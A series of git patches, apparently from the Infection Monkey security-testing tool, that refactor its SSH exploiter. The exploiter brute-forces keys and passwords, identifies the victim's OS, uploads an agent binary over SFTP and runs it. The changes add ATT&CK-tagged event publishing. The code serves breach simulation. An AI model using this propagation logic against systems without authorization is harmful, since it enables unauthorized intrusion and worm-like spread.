b/monkey/monkey_island/cc/repository/mongo_node_repository.py @@ -1,5 +1,5 @@ from copy import deepcopy -from typing import Sequence +from typing import Optional, Sequence from pymongo import MongoClient @@ -20,21 +20,18 @@ class MongoNodeRepository(INodeRepository): self, src: MachineID, dst: MachineID, communication_type: CommunicationType ): try: - node_dict = self._nodes_collection.find_one( - {SRC_FIELD_NAME: src}, {MONGO_OBJECT_ID_KEY: False} - ) + node = self._get_node_by_id(src) except Exception as err: raise StorageError(f"{UPSERT_ERROR_MESSAGE}: {err}") - if node_dict is None: + if node is None: updated_node = Node(machine_id=src, connections={dst: frozenset((communication_type,))}) else: - node = Node(**node_dict) updated_node = MongoNodeRepository._add_connection_to_node( node, dst, communication_type ) - self.upsert_node(updated_node) + self._upsert_node(updated_node) @staticmethod def _add_connection_to_node( @@ -70,6 +67,12 @@ class MongoNodeRepository(INodeRepository): f"node, but no nodes were inserted" ) + def _get_node_by_id(self, node_id: MachineID) -> Optional[Node]: + node_dict = self._nodes_collection.find_one( + {SRC_FIELD_NAME: node_id}, {MONGO_OBJECT_ID_KEY: False} + ) + return Node(**node_dict) if node_dict else None + def get_nodes(self) -> Sequence[Node]: try: cursor = self._nodes_collection.find({}, {MONGO_OBJECT_ID_KEY: False}) From ddaada1f09c41cbb600b435d37c786ca4a65e87c Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 4 Oct 2022 12:46:28 +0200 Subject: [PATCH 049/144] Agent: Revise event publishing in SSHExploiter --- monkey/infection_monkey/exploit/sshexec.py | 43 ++++++++++++++++++++++ 1 file changed, 43 insertions(+) diff --git a/monkey/infection_monkey/exploit/sshexec.py b/monkey/infection_monkey/exploit/sshexec.py index b7edda56e..ed0ee5124 100644 --- a/monkey/infection_monkey/exploit/sshexec.py +++ b/monkey/infection_monkey/exploit/sshexec.py @@ -188,12 +188,23 @@ class SSHExploiter(HostExploiter): self.exploit_result.error_message = f"SSH Skipping unknown os: {uname_os}" if not uname_os: + self._publish_propagation_event( + target=self.host.ip_addr, + propagation_success=False, + error_message=self.exploit_result.error_message, + ) + logger.error(self.exploit_result.error_message) return self.exploit_result except Exception as exc: self.exploit_result.error_message = ( f"Error running uname os command on victim {self.host}: ({exc})" ) + self._publish_propagation_event( + target=self.host.ip_addr, + propagation_success=False, + error_message=self.exploit_result.error_message, + ) logger.error(self.exploit_result.error_message) return self.exploit_result @@ -207,6 +218,12 @@ class SSHExploiter(HostExploiter): f"Can't find suitable monkey executable for host {self.host}" ) + self._publish_propagation_event( + target=self.host.ip_addr, + propagation_success=False, + error_message=self.exploit_result.error_message, + ) + logger.error(self.exploit_result.error_message) return self.exploit_result @@ -242,7 +259,14 @@ class SSHExploiter(HostExploiter): monkey_path_on_victim, ) ) + if status == ScanStatus.SCANNED: + self._publish_propagation_event( + target=self.host.ip_addr, + propagation_success=False, + error_message=self.exploit_result.error_message, + tags=frozenset((T1105_ATTACK_TECHNIQUE_TAG,)), + ) return self.exploit_result try: @@ -260,6 +284,12 @@ class SSHExploiter(HostExploiter): self.exploit_result.propagation_success = True + self._publish_propagation_event( + target=self.host.ip_addr, + propagation_success=True, + tags=frozenset((T1105_ATTACK_TECHNIQUE_TAG,)), + ) + ssh.close() self.add_executed_cmd(cmdline) return self.exploit_result @@ -269,6 +299,13 @@ class SSHExploiter(HostExploiter): f"Error running monkey on victim {self.host}: ({exc})" ) + self._publish_propagation_event( + target=self.host.ip_addr, + propagation_success=False, + error_message=self.exploit_result.error_message, + tags=frozenset((T1105_ATTACK_TECHNIQUE_TAG,)), + ) + logger.error(self.exploit_result.error_message) return self.exploit_result @@ -283,3 +320,9 @@ class SSHExploiter(HostExploiter): self.host, ) ) + + self._publish_propagation_event( + target=self.host.ip_addr, + propagation_success=False, + tags=frozenset((T1222_ATTACK_TECHNIQUE_TAG,)), + ) From 5948537d4a40e2921d43e10eba972bd1caea35c2 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 4 Oct 2022 15:59:58 +0200 Subject: [PATCH 050/144] Agent: Add tags to SSHExploiter --- monkey/infection_monkey/exploit/sshexec.py | 77 ++++++++++++++-------- 1 file changed, 49 insertions(+), 28 deletions(-) diff --git a/monkey/infection_monkey/exploit/sshexec.py b/monkey/infection_monkey/exploit/sshexec.py index ed0ee5124..600a8c2e3 100644 --- a/monkey/infection_monkey/exploit/sshexec.py +++ b/monkey/infection_monkey/exploit/sshexec.py @@ -30,6 +30,11 @@ SSH_EXEC_TIMEOUT = LONG_REQUEST_TIMEOUT SSH_CHANNEL_TIMEOUT = MEDIUM_REQUEST_TIMEOUT TRANSFER_UPDATE_RATE = 15 +SSH_EXPLOITER_TAG = "ssh-exploiter" +T1105_ATTACK_TECHNIQUE_TAG = "attack-t1105" +T1110_ATTACK_TECHNIQUE_TAG = "attack-t1110" +T1222_ATTACK_TECHNIQUE_TAG = "attack-t1222" +T1021_ATTACK_TECHNIQUE_TAG = "attack-t1021" class SSHExploiter(HostExploiter): @@ -86,12 +91,28 @@ class SSHExploiter(HostExploiter): ) self.add_vuln_port(port) self.exploit_result.exploitation_success = True + self._publish_exploitation_event( + target=self.host.ip_addr, + exploitation_success=True, + tags=( + SSH_EXPLOITER_TAG, + T1110_ATTACK_TECHNIQUE_TAG, + T1021_ATTACK_TECHNIQUE_TAG, + ), + ) self.report_login_attempt(True, user, ssh_key=ssh_string) return ssh except paramiko.AuthenticationException as err: ssh.close() - logger.info( - f"Failed logging into victim {self.host} with {ssh_string} private key: {err}", + error_message = ( + f"Failed logging into victim {self.host} with {ssh_string} private key: {err}" + ) + logger.info(error_message) + self._publish_exploitation_event( + target=self.host.ip_addr, + exploitation_success=False, + error_message=error_message, + tags=(SSH_EXPLOITER_TAG,), ) self.report_login_attempt(False, user, ssh_key=ssh_string) continue @@ -131,15 +152,26 @@ class SSHExploiter(HostExploiter): logger.debug("Successfully logged in %r using SSH. User: %s", self.host, user) self.add_vuln_port(port) self.exploit_result.exploitation_success = True + self._publish_exploitation_event( + target=self.host.ip_addr, + exploitation_success=True, + tags=( + SSH_EXPLOITER_TAG, + T1110_ATTACK_TECHNIQUE_TAG, + T1021_ATTACK_TECHNIQUE_TAG, + ), + ) self.report_login_attempt(True, user, current_password) return ssh except paramiko.AuthenticationException as err: - logger.debug( - "Failed logging into victim %r with user" " %s: (%s)", - self.host, - user, - err, + error_message = f"Failed logging into victim {self.host} with user: {user}: {err}" + logger.debug(error_message) + self._publish_exploitation_event( + target=self.host.ip_addr, + exploitation_success=False, + error_message=error_message, + tags=(SSH_EXPLOITER_TAG,), ) self.report_login_attempt(False, user, current_password) ssh.close() @@ -159,7 +191,12 @@ class SSHExploiter(HostExploiter): is_open, _ = check_tcp_port(self.host.ip_addr, port) if not is_open: self.exploit_result.error_message = f"SSH port is closed on {self.host}, skipping" - + self._publish_exploitation_event( + target=self.host.ip_addr, + exploitation_success=False, + error_message=self.exploit_result.error_message, + tags=(SSH_EXPLOITER_TAG,), + ) logger.info(self.exploit_result.error_message) return self.exploit_result @@ -188,23 +225,12 @@ class SSHExploiter(HostExploiter): self.exploit_result.error_message = f"SSH Skipping unknown os: {uname_os}" if not uname_os: - self._publish_propagation_event( - target=self.host.ip_addr, - propagation_success=False, - error_message=self.exploit_result.error_message, - ) - logger.error(self.exploit_result.error_message) return self.exploit_result except Exception as exc: self.exploit_result.error_message = ( f"Error running uname os command on victim {self.host}: ({exc})" ) - self._publish_propagation_event( - target=self.host.ip_addr, - propagation_success=False, - error_message=self.exploit_result.error_message, - ) logger.error(self.exploit_result.error_message) return self.exploit_result @@ -222,6 +248,7 @@ class SSHExploiter(HostExploiter): target=self.host.ip_addr, propagation_success=False, error_message=self.exploit_result.error_message, + tags=(SSH_EXPLOITER_TAG,), ) logger.error(self.exploit_result.error_message) @@ -265,7 +292,7 @@ class SSHExploiter(HostExploiter): target=self.host.ip_addr, propagation_success=False, error_message=self.exploit_result.error_message, - tags=frozenset((T1105_ATTACK_TECHNIQUE_TAG,)), + tags=(SSH_EXPLOITER_TAG, T1105_ATTACK_TECHNIQUE_TAG, T1222_ATTACK_TECHNIQUE_TAG), ) return self.exploit_result @@ -287,7 +314,7 @@ class SSHExploiter(HostExploiter): self._publish_propagation_event( target=self.host.ip_addr, propagation_success=True, - tags=frozenset((T1105_ATTACK_TECHNIQUE_TAG,)), + tags=(SSH_EXPLOITER_TAG, T1105_ATTACK_TECHNIQUE_TAG, T1222_ATTACK_TECHNIQUE_TAG), ) ssh.close() @@ -303,7 +330,7 @@ class SSHExploiter(HostExploiter): target=self.host.ip_addr, propagation_success=False, error_message=self.exploit_result.error_message, - tags=frozenset((T1105_ATTACK_TECHNIQUE_TAG,)), + tags=(SSH_EXPLOITER_TAG, T1105_ATTACK_TECHNIQUE_TAG, T1222_ATTACK_TECHNIQUE_TAG), ) logger.error(self.exploit_result.error_message) @@ -320,9 +347,3 @@ class SSHExploiter(HostExploiter): self.host, ) ) - - self._publish_propagation_event( - target=self.host.ip_addr, - propagation_success=False, - tags=frozenset((T1222_ATTACK_TECHNIQUE_TAG,)), - ) From 5d9416c385fc7024817f72eed67a703bf03777ab Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 4 Oct 2022 16:13:42 +0200 Subject: [PATCH 051/144] Agent: Use common.tags to publish events in SSHExploiter --- monkey/infection_monkey/exploit/sshexec.py | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) diff --git a/monkey/infection_monkey/exploit/sshexec.py b/monkey/infection_monkey/exploit/sshexec.py index 600a8c2e3..adbbff028 100644 --- a/monkey/infection_monkey/exploit/sshexec.py +++ b/monkey/infection_monkey/exploit/sshexec.py @@ -7,6 +7,12 @@ import paramiko from common import OperatingSystem from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT, MEDIUM_REQUEST_TIMEOUT from common.credentials import get_plaintext +from common.tags import ( + T1021_ATTACK_TECHNIQUE_TAG, + T1105_ATTACK_TECHNIQUE_TAG, + T1110_ATTACK_TECHNIQUE_TAG, + T1222_ATTACK_TECHNIQUE_TAG, +) from common.utils import Timer from common.utils.attack_utils import ScanStatus from common.utils.exceptions import FailedExploitationError @@ -31,10 +37,6 @@ SSH_CHANNEL_TIMEOUT = MEDIUM_REQUEST_TIMEOUT TRANSFER_UPDATE_RATE = 15 SSH_EXPLOITER_TAG = "ssh-exploiter" -T1105_ATTACK_TECHNIQUE_TAG = "attack-t1105" -T1110_ATTACK_TECHNIQUE_TAG = "attack-t1110" -T1222_ATTACK_TECHNIQUE_TAG = "attack-t1222" -T1021_ATTACK_TECHNIQUE_TAG = "attack-t1021" class SSHExploiter(HostExploiter): From 9dac64b60e80f0e847a3cefd6ff5185900784716 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Tue, 4 Oct 2022 20:25:50 +0000 Subject: [PATCH 052/144] Agent: Update ssh exploiter tags --- monkey/infection_monkey/exploit/sshexec.py | 24 ++++++++-------------- 1 file changed, 9 insertions(+), 15 deletions(-) diff --git a/monkey/infection_monkey/exploit/sshexec.py b/monkey/infection_monkey/exploit/sshexec.py index adbbff028..5c685b7fe 100644 --- a/monkey/infection_monkey/exploit/sshexec.py +++ b/monkey/infection_monkey/exploit/sshexec.py @@ -37,6 +37,8 @@ SSH_CHANNEL_TIMEOUT = MEDIUM_REQUEST_TIMEOUT TRANSFER_UPDATE_RATE = 15 SSH_EXPLOITER_TAG = "ssh-exploiter" +EXPLOIT_TAGS = (SSH_EXPLOITER_TAG, T1110_ATTACK_TECHNIQUE_TAG, T1021_ATTACK_TECHNIQUE_TAG) +PROPAGATION_TAGS = (SSH_EXPLOITER_TAG, T1105_ATTACK_TECHNIQUE_TAG, T1222_ATTACK_TECHNIQUE_TAG) class SSHExploiter(HostExploiter): @@ -96,11 +98,7 @@ class SSHExploiter(HostExploiter): self._publish_exploitation_event( target=self.host.ip_addr, exploitation_success=True, - tags=( - SSH_EXPLOITER_TAG, - T1110_ATTACK_TECHNIQUE_TAG, - T1021_ATTACK_TECHNIQUE_TAG, - ), + tags=EXPLOIT_TAGS, ) self.report_login_attempt(True, user, ssh_key=ssh_string) return ssh @@ -114,7 +112,7 @@ class SSHExploiter(HostExploiter): target=self.host.ip_addr, exploitation_success=False, error_message=error_message, - tags=(SSH_EXPLOITER_TAG,), + tags=EXPLOIT_TAGS, ) self.report_login_attempt(False, user, ssh_key=ssh_string) continue @@ -157,11 +155,7 @@ class SSHExploiter(HostExploiter): self._publish_exploitation_event( target=self.host.ip_addr, exploitation_success=True, - tags=( - SSH_EXPLOITER_TAG, - T1110_ATTACK_TECHNIQUE_TAG, - T1021_ATTACK_TECHNIQUE_TAG, - ), + tags=EXPLOIT_TAGS, ) self.report_login_attempt(True, user, current_password) return ssh @@ -173,7 +167,7 @@ class SSHExploiter(HostExploiter): target=self.host.ip_addr, exploitation_success=False, error_message=error_message, - tags=(SSH_EXPLOITER_TAG,), + tags=EXPLOIT_TAGS, ) self.report_login_attempt(False, user, current_password) ssh.close() @@ -294,7 +288,7 @@ class SSHExploiter(HostExploiter): target=self.host.ip_addr, propagation_success=False, error_message=self.exploit_result.error_message, - tags=(SSH_EXPLOITER_TAG, T1105_ATTACK_TECHNIQUE_TAG, T1222_ATTACK_TECHNIQUE_TAG), + tags=PROPAGATION_TAGS, ) return self.exploit_result @@ -316,7 +310,7 @@ class SSHExploiter(HostExploiter): self._publish_propagation_event( target=self.host.ip_addr, propagation_success=True, - tags=(SSH_EXPLOITER_TAG, T1105_ATTACK_TECHNIQUE_TAG, T1222_ATTACK_TECHNIQUE_TAG), + tags=PROPAGATION_TAGS, ) ssh.close() @@ -332,7 +326,7 @@ class SSHExploiter(HostExploiter): target=self.host.ip_addr, propagation_success=False, error_message=self.exploit_result.error_message, - tags=(SSH_EXPLOITER_TAG, T1105_ATTACK_TECHNIQUE_TAG, T1222_ATTACK_TECHNIQUE_TAG), + tags=PROPAGATION_TAGS, ) logger.error(self.exploit_result.error_message) From dc8a0ac2ad58748cc2f044e3151685f86dc87807 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Tue, 4 Oct 2022 21:13:49 +0000 Subject: [PATCH 053/144] Agent: Extract method _upload_agent_binary --- monkey/infection_monkey/exploit/sshexec.py | 42 +++++++++++++--------- 1 file changed, 25 insertions(+), 17 deletions(-) diff --git a/monkey/infection_monkey/exploit/sshexec.py b/monkey/infection_monkey/exploit/sshexec.py index 5c685b7fe..1b53ba7db 100644 --- a/monkey/infection_monkey/exploit/sshexec.py +++ b/monkey/infection_monkey/exploit/sshexec.py @@ -256,23 +256,7 @@ class SSHExploiter(HostExploiter): monkey_path_on_victim = get_agent_dst_path(self.host) - try: - with ssh.open_sftp() as ftp: - ftp.putfo( - agent_binary_file_object, - str(monkey_path_on_victim), - file_size=len(agent_binary_file_object.getbuffer()), - callback=self.log_transfer, - ) - self._set_executable_bit_on_agent_binary(ftp, monkey_path_on_victim) - - status = ScanStatus.USED - except Exception as exc: - self.exploit_result.error_message = ( - f"Error uploading file into victim {self.host}: ({exc})" - ) - logger.error(self.exploit_result.error_message) - status = ScanStatus.SCANNED + status = self._upload_agent_binary(ssh, agent_binary_file_object, monkey_path_on_victim) self.telemetry_messenger.send_telemetry( T1105Telem( @@ -332,6 +316,30 @@ class SSHExploiter(HostExploiter): logger.error(self.exploit_result.error_message) return self.exploit_result + def _upload_agent_binary( + self, + ssh: paramiko.SSHClient, + agent_binary_file_object: io.BytesIO, + monkey_path_on_victim: PurePath, + ) -> ScanStatus: + try: + with ssh.open_sftp() as ftp: + ftp.putfo( + agent_binary_file_object, + str(monkey_path_on_victim), + file_size=len(agent_binary_file_object.getbuffer()), + callback=self.log_transfer, + ) + self._set_executable_bit_on_agent_binary(ftp, monkey_path_on_victim) + + return ScanStatus.USED + except Exception as exc: + self.exploit_result.error_message = ( + f"Error uploading file into victim {self.host}: ({exc})" + ) + logger.error(self.exploit_result.error_message) + return ScanStatus.SCANNED + def _set_executable_bit_on_agent_binary( self, ftp: paramiko.sftp_client.SFTPClient, monkey_path_on_victim: PurePath ): From b31eb885f07bb30525140f623f53f06843abc52b Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Tue, 4 Oct 2022 21:26:55 +0000 Subject: [PATCH 054/144] Agent: Extract method _get_victim_os --- monkey/infection_monkey/exploit/sshexec.py | 44 ++++++++++++---------- 1 file changed, 24 insertions(+), 20 deletions(-) diff --git a/monkey/infection_monkey/exploit/sshexec.py b/monkey/infection_monkey/exploit/sshexec.py index 1b53ba7db..f6f703763 100644 --- a/monkey/infection_monkey/exploit/sshexec.py +++ b/monkey/infection_monkey/exploit/sshexec.py @@ -210,26 +210,8 @@ class SSHExploiter(HostExploiter): self._set_interrupted() return self.exploit_result - if not self.host.os.get("type"): - try: - _, stdout, _ = ssh.exec_command("uname -o", timeout=SSH_EXEC_TIMEOUT) - uname_os = stdout.read().lower().strip().decode() - if "linux" in uname_os: - self.exploit_result.os = OperatingSystem.LINUX - self.host.os["type"] = OperatingSystem.LINUX - else: - self.exploit_result.error_message = f"SSH Skipping unknown os: {uname_os}" - - if not uname_os: - logger.error(self.exploit_result.error_message) - return self.exploit_result - except Exception as exc: - self.exploit_result.error_message = ( - f"Error running uname os command on victim {self.host}: ({exc})" - ) - - logger.error(self.exploit_result.error_message) - return self.exploit_result + if not self.host.os.get("type") and not self._get_victim_os(ssh): + return self.exploit_result agent_binary_file_object = self.agent_binary_repository.get_agent_binary( self.exploit_result.os @@ -316,6 +298,28 @@ class SSHExploiter(HostExploiter): logger.error(self.exploit_result.error_message) return self.exploit_result + def _get_victim_os(self, ssh: paramiko.SSHClient) -> bool: + try: + _, stdout, _ = ssh.exec_command("uname -o", timeout=SSH_EXEC_TIMEOUT) + uname_os = stdout.read().lower().strip().decode() + if "linux" in uname_os: + self.exploit_result.os = OperatingSystem.LINUX + self.host.os["type"] = OperatingSystem.LINUX + else: + self.exploit_result.error_message = f"SSH Skipping unknown os: {uname_os}" + + if not uname_os: + logger.error(self.exploit_result.error_message) + return False + except Exception as exc: + self.exploit_result.error_message = ( + f"Error running uname os command on victim {self.host}: ({exc})" + ) + + logger.error(self.exploit_result.error_message) + return False + return True + def _upload_agent_binary( self, ssh: paramiko.SSHClient, From 1cb88e029addb8db30fa1a01f8b9fba83f9594de Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Tue, 4 Oct 2022 21:35:42 +0000 Subject: [PATCH 055/144] Agent: Extract method _exploit --- monkey/infection_monkey/exploit/sshexec.py | 62 ++++++++++++---------- 1 file changed, 35 insertions(+), 27 deletions(-) diff --git a/monkey/infection_monkey/exploit/sshexec.py b/monkey/infection_monkey/exploit/sshexec.py index f6f703763..8fa5f9ad4 100644 --- a/monkey/infection_monkey/exploit/sshexec.py +++ b/monkey/infection_monkey/exploit/sshexec.py @@ -177,34 +177,12 @@ class SSHExploiter(HostExploiter): raise FailedExploitationError def _exploit_host(self) -> ExploiterResultData: - port = SSH_PORT - - # if ssh banner found on different port, use that port. - for servkey, servdata in list(self.host.services.items()): - if servdata.get("name") == "ssh" and servkey.startswith("tcp-"): - port = int(servkey.replace("tcp-", "")) - - is_open, _ = check_tcp_port(self.host.ip_addr, port) - if not is_open: - self.exploit_result.error_message = f"SSH port is closed on {self.host}, skipping" - self._publish_exploitation_event( - target=self.host.ip_addr, - exploitation_success=False, - error_message=self.exploit_result.error_message, - tags=(SSH_EXPLOITER_TAG,), - ) - logger.info(self.exploit_result.error_message) - return self.exploit_result - try: - ssh = self.exploit_with_ssh_keys(port) - except FailedExploitationError: - try: - ssh = self.exploit_with_login_creds(port) - except FailedExploitationError: - self.exploit_result.error_message = "Exploiter SSHExploiter is giving up..." - logger.error(self.exploit_result.error_message) - return self.exploit_result + ssh = self._exploit() + except FailedExploitationError as err: + self.exploit_result.error_message = str(err) + logger.error(str(err)) + return self.exploit_result if self._is_interrupted(): self._set_interrupted() @@ -298,6 +276,36 @@ class SSHExploiter(HostExploiter): logger.error(self.exploit_result.error_message) return self.exploit_result + def _exploit(self) -> paramiko.SSHClient: + port = SSH_PORT + + # if ssh banner found on different port, use that port. + for servkey, servdata in list(self.host.services.items()): + if servdata.get("name") == "ssh" and servkey.startswith("tcp-"): + port = int(servkey.replace("tcp-", "")) + + is_open, _ = check_tcp_port(self.host.ip_addr, port) + if not is_open: + self.exploit_result.error_message = f"SSH port is closed on {self.host}, skipping" + self._publish_exploitation_event( + target=self.host.ip_addr, + exploitation_success=False, + error_message=self.exploit_result.error_message, + tags=(SSH_EXPLOITER_TAG,), + ) + logger.info(self.exploit_result.error_message) + raise FailedExploitationError(self.exploit_result.error_message) + + try: + ssh = self.exploit_with_ssh_keys(port) + except FailedExploitationError: + try: + ssh = self.exploit_with_login_creds(port) + except FailedExploitationError: + raise FailedExploitationError("Exploiter SSHExploiter is giving up...") + + return ssh + def _get_victim_os(self, ssh: paramiko.SSHClient) -> bool: try: _, stdout, _ = ssh.exec_command("uname -o", timeout=SSH_EXEC_TIMEOUT) From a2534391a662bec6c26f91cb5d51b0c75f821ab5 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Tue, 4 Oct 2022 21:59:35 +0000 Subject: [PATCH 056/144] Agent: Extract method _propagate --- monkey/infection_monkey/exploit/sshexec.py | 63 +++++++++++----------- 1 file changed, 33 insertions(+), 30 deletions(-) diff --git a/monkey/infection_monkey/exploit/sshexec.py b/monkey/infection_monkey/exploit/sshexec.py index 8fa5f9ad4..c8ea2f415 100644 --- a/monkey/infection_monkey/exploit/sshexec.py +++ b/monkey/infection_monkey/exploit/sshexec.py @@ -188,6 +188,39 @@ class SSHExploiter(HostExploiter): self._set_interrupted() return self.exploit_result + return self._propagate(ssh) + + def _exploit(self) -> paramiko.SSHClient: + port = SSH_PORT + + # if ssh banner found on different port, use that port. + for servkey, servdata in list(self.host.services.items()): + if servdata.get("name") == "ssh" and servkey.startswith("tcp-"): + port = int(servkey.replace("tcp-", "")) + + is_open, _ = check_tcp_port(self.host.ip_addr, port) + if not is_open: + self.exploit_result.error_message = f"SSH port is closed on {self.host}, skipping" + self._publish_exploitation_event( + target=self.host.ip_addr, + exploitation_success=False, + error_message=self.exploit_result.error_message, + tags=(SSH_EXPLOITER_TAG,), + ) + logger.info(self.exploit_result.error_message) + raise FailedExploitationError(self.exploit_result.error_message) + + try: + ssh = self.exploit_with_ssh_keys(port) + except FailedExploitationError: + try: + ssh = self.exploit_with_login_creds(port) + except FailedExploitationError: + raise FailedExploitationError("Exploiter SSHExploiter is giving up...") + + return ssh + + def _propagate(self, ssh: paramiko.SSHClient): if not self.host.os.get("type") and not self._get_victim_os(ssh): return self.exploit_result @@ -276,36 +309,6 @@ class SSHExploiter(HostExploiter): logger.error(self.exploit_result.error_message) return self.exploit_result - def _exploit(self) -> paramiko.SSHClient: - port = SSH_PORT - - # if ssh banner found on different port, use that port. - for servkey, servdata in list(self.host.services.items()): - if servdata.get("name") == "ssh" and servkey.startswith("tcp-"): - port = int(servkey.replace("tcp-", "")) - - is_open, _ = check_tcp_port(self.host.ip_addr, port) - if not is_open: - self.exploit_result.error_message = f"SSH port is closed on {self.host}, skipping" - self._publish_exploitation_event( - target=self.host.ip_addr, - exploitation_success=False, - error_message=self.exploit_result.error_message, - tags=(SSH_EXPLOITER_TAG,), - ) - logger.info(self.exploit_result.error_message) - raise FailedExploitationError(self.exploit_result.error_message) - - try: - ssh = self.exploit_with_ssh_keys(port) - except FailedExploitationError: - try: - ssh = self.exploit_with_login_creds(port) - except FailedExploitationError: - raise FailedExploitationError("Exploiter SSHExploiter is giving up...") - - return ssh - def _get_victim_os(self, ssh: paramiko.SSHClient) -> bool: try: _, stdout, _ = ssh.exec_command("uname -o", timeout=SSH_EXEC_TIMEOUT) From 0a1901b9a1ba24ad8033d815a2f59422e83fd969 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Tue, 4 Oct 2022 22:12:50 +0000 Subject: [PATCH 057/144] Agent: Use error to propagate failure --- monkey/infection_monkey/exploit/sshexec.py | 57 ++++++++-------------- 1 file changed, 21 insertions(+), 36 deletions(-) diff --git a/monkey/infection_monkey/exploit/sshexec.py b/monkey/infection_monkey/exploit/sshexec.py index c8ea2f415..31757a5e3 100644 --- a/monkey/infection_monkey/exploit/sshexec.py +++ b/monkey/infection_monkey/exploit/sshexec.py @@ -188,7 +188,20 @@ class SSHExploiter(HostExploiter): self._set_interrupted() return self.exploit_result - return self._propagate(ssh) + try: + self._propagate(ssh) + except FailedExploitationError as err: + ssh.close() + self.exploit_result.error_message = str(err) + logger.error(self.exploit_result.error_message) + + self._publish_propagation_event( + target=self.host.ip_addr, + propagation_success=False, + error_message=self.exploit_result.error_message, + tags=PROPAGATION_TAGS, + ) + return self.exploit_result def _exploit(self) -> paramiko.SSHClient: port = SSH_PORT @@ -222,33 +235,24 @@ class SSHExploiter(HostExploiter): def _propagate(self, ssh: paramiko.SSHClient): if not self.host.os.get("type") and not self._get_victim_os(ssh): - return self.exploit_result + raise FailedExploitationError( + f"Can't find suitable monkey executable for host {self.host}" + ) agent_binary_file_object = self.agent_binary_repository.get_agent_binary( self.exploit_result.os ) if not agent_binary_file_object: - self.exploit_result.error_message = ( + raise FailedExploitationError( f"Can't find suitable monkey executable for host {self.host}" ) - self._publish_propagation_event( - target=self.host.ip_addr, - propagation_success=False, - error_message=self.exploit_result.error_message, - tags=(SSH_EXPLOITER_TAG,), - ) - - logger.error(self.exploit_result.error_message) - return self.exploit_result - if self._is_interrupted(): self._set_interrupted() - return self.exploit_result + raise FailedExploitationError(f"Propagation was interrupted") monkey_path_on_victim = get_agent_dst_path(self.host) - status = self._upload_agent_binary(ssh, agent_binary_file_object, monkey_path_on_victim) self.telemetry_messenger.send_telemetry( @@ -261,13 +265,7 @@ class SSHExploiter(HostExploiter): ) if status == ScanStatus.SCANNED: - self._publish_propagation_event( - target=self.host.ip_addr, - propagation_success=False, - error_message=self.exploit_result.error_message, - tags=PROPAGATION_TAGS, - ) - return self.exploit_result + raise FailedExploitationError(self.exploit_result.error_message) try: cmdline = f"{monkey_path_on_victim} {MONKEY_ARG}" @@ -292,22 +290,9 @@ class SSHExploiter(HostExploiter): ssh.close() self.add_executed_cmd(cmdline) - return self.exploit_result except Exception as exc: - self.exploit_result.error_message = ( - f"Error running monkey on victim {self.host}: ({exc})" - ) - - self._publish_propagation_event( - target=self.host.ip_addr, - propagation_success=False, - error_message=self.exploit_result.error_message, - tags=PROPAGATION_TAGS, - ) - - logger.error(self.exploit_result.error_message) - return self.exploit_result + raise FailedExploitationError(f"Error running monkey on victim {self.host}: ({exc})") def _get_victim_os(self, ssh: paramiko.SSHClient) -> bool: try: From 431d6ae7756693e6749fc9a094f0568f0fe177ed Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Wed, 5 Oct 2022 14:50:00 +0000 Subject: [PATCH 058/144] Agent: Extract method _get_ssh_port --- monkey/infection_monkey/exploit/sshexec.py | 40 ++++++++++------------ 1 file changed, 19 insertions(+), 21 deletions(-) diff --git a/monkey/infection_monkey/exploit/sshexec.py b/monkey/infection_monkey/exploit/sshexec.py index 31757a5e3..c59871257 100644 --- a/monkey/infection_monkey/exploit/sshexec.py +++ b/monkey/infection_monkey/exploit/sshexec.py @@ -177,8 +177,15 @@ class SSHExploiter(HostExploiter): raise FailedExploitationError def _exploit_host(self) -> ExploiterResultData: + port = self._get_ssh_port() + is_open, _ = check_tcp_port(self.host.ip_addr, port) + if not is_open: + self.exploit_result.error_message = f"SSH port is closed on {self.host}, skipping" + logger.info(self.exploit_result.error_message) + return self.exploit_result + try: - ssh = self._exploit() + ssh = self._exploit(port) except FailedExploitationError as err: self.exploit_result.error_message = str(err) logger.error(str(err)) @@ -203,26 +210,7 @@ class SSHExploiter(HostExploiter): ) return self.exploit_result - def _exploit(self) -> paramiko.SSHClient: - port = SSH_PORT - - # if ssh banner found on different port, use that port. - for servkey, servdata in list(self.host.services.items()): - if servdata.get("name") == "ssh" and servkey.startswith("tcp-"): - port = int(servkey.replace("tcp-", "")) - - is_open, _ = check_tcp_port(self.host.ip_addr, port) - if not is_open: - self.exploit_result.error_message = f"SSH port is closed on {self.host}, skipping" - self._publish_exploitation_event( - target=self.host.ip_addr, - exploitation_success=False, - error_message=self.exploit_result.error_message, - tags=(SSH_EXPLOITER_TAG,), - ) - logger.info(self.exploit_result.error_message) - raise FailedExploitationError(self.exploit_result.error_message) - + def _exploit(self, port) -> paramiko.SSHClient: try: ssh = self.exploit_with_ssh_keys(port) except FailedExploitationError: @@ -294,6 +282,16 @@ class SSHExploiter(HostExploiter): except Exception as exc: raise FailedExploitationError(f"Error running monkey on victim {self.host}: ({exc})") + def _get_ssh_port(self) -> int: + port = SSH_PORT + + # if ssh banner found on different port, use that port. + for servkey, servdata in list(self.host.services.items()): + if servdata.get("name") == "ssh" and servkey.startswith("tcp-"): + port = int(servkey.replace("tcp-", "")) + + return port + def _get_victim_os(self, ssh: paramiko.SSHClient) -> bool: try: _, stdout, _ = ssh.exec_command("uname -o", timeout=SSH_EXEC_TIMEOUT) From 72378f4e53ad4dded55f6fa35126739f32aa069f Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Wed, 5 Oct 2022 15:02:46 +0000 Subject: [PATCH 059/144] Agent: Publish scan event when checking ssh port --- monkey/infection_monkey/exploit/sshexec.py | 17 +++++++++++++++-- 1 file changed, 15 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/exploit/sshexec.py b/monkey/infection_monkey/exploit/sshexec.py index c59871257..b8f96eee8 100644 --- a/monkey/infection_monkey/exploit/sshexec.py +++ b/monkey/infection_monkey/exploit/sshexec.py @@ 